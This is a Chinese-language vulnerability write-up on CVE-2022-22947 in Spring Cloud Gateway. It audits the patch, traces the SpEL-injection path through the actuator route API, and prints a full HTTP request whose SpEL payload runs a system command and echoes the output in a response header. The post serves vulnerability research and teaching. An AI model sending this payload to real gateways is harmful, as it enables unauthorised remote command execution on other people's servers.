CVE-2022-22947 SpringCloud GateWay SPEL RCE Echo Response

警告
本文最后更新于 2022-03-03,文中内容可能已过时。

# 环境

1
2
3
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0

# 审计

看diff https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue这个函数用GatewayEvaluationContext替换了StandardEvaluationContext来执行spel表达式

image.png

说明是个spel表达式的rce,向上回溯找到org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType枚举

image.png

找到四个地方都在ShortcutConfigurable接口类里,分布在ShortcutType的三个枚举值,见上图圈起来的部分。

image.png

三个枚举值都重写了org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize函数

在ShortcutConfigurable接口类中有一个虚拟拓展方法shortcutType(),用到的是ShortcutType.DEFAULT枚举。

image.png

继续向上查找shortcutType()函数的引用到 org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties

image.png

这个normalizeProperties()是对filter的属性进行解析,会将filter的配置属性传入normalize中,最后进入getValue执行SPEL表达式造成SPEL表达式注入。

根据文档https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html 来看,用户可以通过actuator在网关中创建和删除路由。

image.png

路由格式

image.png

在idea中通过actuator的mapping功能找到controller

image.png

然后看RouteDefinition

image.png

其中FilterDefinition类需要有一个name和args键值对。

image.png

而name在创建路由的时候进行了校验

image.png

name需要和已有的filter相匹配

image.png

动态调试看一下已有的name

image.png

那么到这里利用已经呼之欲出了

# 复现

先创建路由,filter中填充spel表达式,然后refresh执行。

name用到了RewritePath,对应的是org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory#apply

image.png

需要注意的是这里args中键名要填充replacement属性,不然会报空指针

image.png

然后refresh

image.png

rce

image.png

堆栈如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
getValue:251, SpelExpression (org.springframework.expression.spel.standard)
getValue:60, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, 150385835 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$874)
onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)
onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)
drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeWith:4515, Mono (reactor.core.publisher)
subscribe:4371, Mono (reactor.core.publisher)
subscribe:4307, Mono (reactor.core.publisher)
subscribe:4279, Mono (reactor.core.publisher)
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
...省略...

# 如何回显

上述文章知,通过getValue()函数可以讲args的value执行spel表达式,并且保存为properties,那么properties在哪里可以返回给我们的http response呢?

org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory#apply中,将config的键值对添加到header中

image.png

那么可以用AddResponseHeader来构造请求包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
POST /actuator/gateway/routes/test1 HTTP/1.1
Host: 172.16.16.1:8081
Content-Length: 300
Content-Type: application/json
Connection: close

{
    "id": "test1",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
                "name": "cmd123"
            }
        }
    ],
    "uri": "http://aaa.com",
    "order": 0
}

在构造这个请求包的时候遇到了几个问题,第一个是我构造的时候没有传uri和order,爆空指针异常。然后多次调试后发现在org.springframework.cloud.gateway.route.Route#async(org.springframework.cloud.gateway.route.RouteDefinition)函数中对routeDefinition参数进行了处理,所以必须要有uri和order。

image.png

uri还必须是一个正确的url才行。

image.png

第二个问题是value必须是一个String类型,否则在bind的时候会报类型不匹配异常。因为AddResponseHeaderGatewayFilterFactory采用的配置是NameValueConfig实例,而value是string类型。

image.png

最后回显效果如图

image.png

最后删除自己创建的路由

1
2
3
DELETE /actuator/gateway/routes/test1 HTTP/1.1
Host: 172.16.16.1:8081
Connection: close

# 写在文后

这个漏洞是用codeql挖出来的,这个东西真得学一学了。

最后感慨一下,饭前刚想出来用AddResponseHeader回显,调试了一些觉得有戏就吃饭了,午休一觉睡醒迷糊之间就发现p牛就发了vulhub环境加poc。

夫破人之与破于人也,臣人之与臣于人也,岂可同日而言之哉?

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。